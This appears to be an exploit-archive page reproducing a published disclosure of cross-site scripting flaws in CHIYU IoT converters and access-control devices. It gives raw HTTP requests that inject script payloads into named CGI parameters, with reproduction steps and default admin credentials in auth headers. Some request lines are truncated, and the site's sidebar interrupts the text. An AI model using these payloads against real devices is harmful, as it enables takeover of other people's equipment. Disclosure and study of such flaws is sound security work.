CHIYU IoT Cross Site Scripting

Authored by sirpedrotavares

Posted Jun 1, 2021

CHIYU IoT devices suffer from multiple cross site scripting vulnerabilities. Versions affected include BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC.

tags | exploit, vulnerability, xss
advisories | CVE-2021-31250, CVE-2021-31641, CVE-2021-31643
SHA-256 | a0e148bec7337cb5cb6a2196c1eaeb2f732ddeb5e61a399ebf58969e953122ea

Download | Favorite | View

Related Files

Change Mirror Download

```
# Exploit Title: CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS)
# Date: May 31 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BF-430,  BF-431,  BF-450M,  BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC - all firmware
versions < June 2021
# Tested on: BF-430,  BF-431,  BF-450M,  BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC
# CVE:  CVE-2021-31250 / CVE-2021-31641 / CVE-2021-31643
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scripting
flaws.

#1:  Multiple stored XSS in CHIYU BF-430, BF-431, and BF-450M IP converter devices
CVE ID: CVE-2021-31250
CVSS: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250

============ PoC 01 ==============
Affected parameter: TF_submask
Component: if.cgi
Payload: "><script>alert(123)</script>

HTTP Request:
GET
/if.cgi?
redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Eal
HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/ap_tcps.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1


Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to component mentioned (if.cgi)
  3. Append the payload at the end of the vulnerable parameter (TF_submask)
  4. Submit the request and observe payload execution

  ============ PoC 02 ==============
Affected parameter: TF_hostname=Component: dhcpc.cgi
Payload: /"><img src="#">
HTTP request and response:

HTTP Request:
GET
/dhcpc.cgi?
redirect=setting.htm&failure=fail.htm&type=dhcpc_apply&TF_hostname=%2F%22%3E%3Cimg+src%3D%22%23%22&S_type=2&S_b
HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/wan_dc.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1


Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to component mentioned (dhcpc.cgi)
  3. Append the payload at the end of the vulnerable parameter (TF_hostname)
  4. Submit the request and observe payload execution

  ============ PoC 03 ==============
Affected parameter: TF_servicename=Component: ppp.cgi
Payload: "><script>alert(123)</script>

GET
/ppp.cgi?
redirect=setting.htm&failure=fail.htm&type=ppp_apply&TF_username=admin&TF_password=admin&TF_servicename=%22%3E%
HTTP/1.1
Host: 192.168.187.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.143/wan_pe.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1


Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to component mentioned (ppp.cgi)
  3. Append the payload at the end of the vulnerable parameter
(TF_servicename)
  4. Submit the request and observe payload execution

============ PoC 04 ==============
Affected parameter: TF_port=Component: man.cgi
Payload: /"><img src="#">

GET
/man.cgi?
redirect=setting.htm&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=
HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 157 files
- Ubuntu 76 files
- LiquidWorm 23 files
- Debian 21 files
- nu11secur1ty 11 files
- malvuln 11 files
- Gentoo 9 files
- Google Security Research 8 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

```
Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to component mentioned (man.cgi)
  3. Append the payload at the end of the vulnerable parameter (TF_port)
  4. Submit the request and observe payload execution


#2:  Unauthenticated XSS in several CHIYU IoT devices
CVE ID: CVE-2021-31641
Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31641


Component: any argument passed via URL that results in an HTTP-404
Payload: http://ip/<script>alert(123)</script>


Steps to reproduce:
  1. Navigate to the webpage of the vulnerable device
  2. On the web-browsers, you need to append the payload after the IP
address (see payload above)
  3. Submit the request and observe payload execution


#3:  Stored XSS in CHIYU SEMAC, BF-630, BF-631, and Webpass IoT devices
CVE ID: CVE-2021-31643
Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31643

Affected parameter: username=
Component: if.cgi
Payload: "><script>alert(1)</script>

HTTP request - SEMAC Web Ver7.2

GET
/if.cgi?
redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=0000&MarkID=0000&CardID=000000&userna
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=; remote=00000000
Upgrade-Insecure-Requests: 1


HTTP request - BIOSENSE-III-COMBO(M1)(20000)

GET
/if.cgi?
redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=3&MarkID=3474&CardID=00000000&emp_id=
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1


Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to component mentioned (if.cgi)
  3. Append the payload at the end of the vulnerable parameter (username)
  4. Submit the request and observe payload execution
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed